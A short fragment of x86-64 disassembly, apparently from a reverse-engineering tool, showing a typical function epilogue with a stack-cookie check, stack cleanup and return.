xor rcx, rsp
call fcn.140017c60
add rsp, 0x518
ret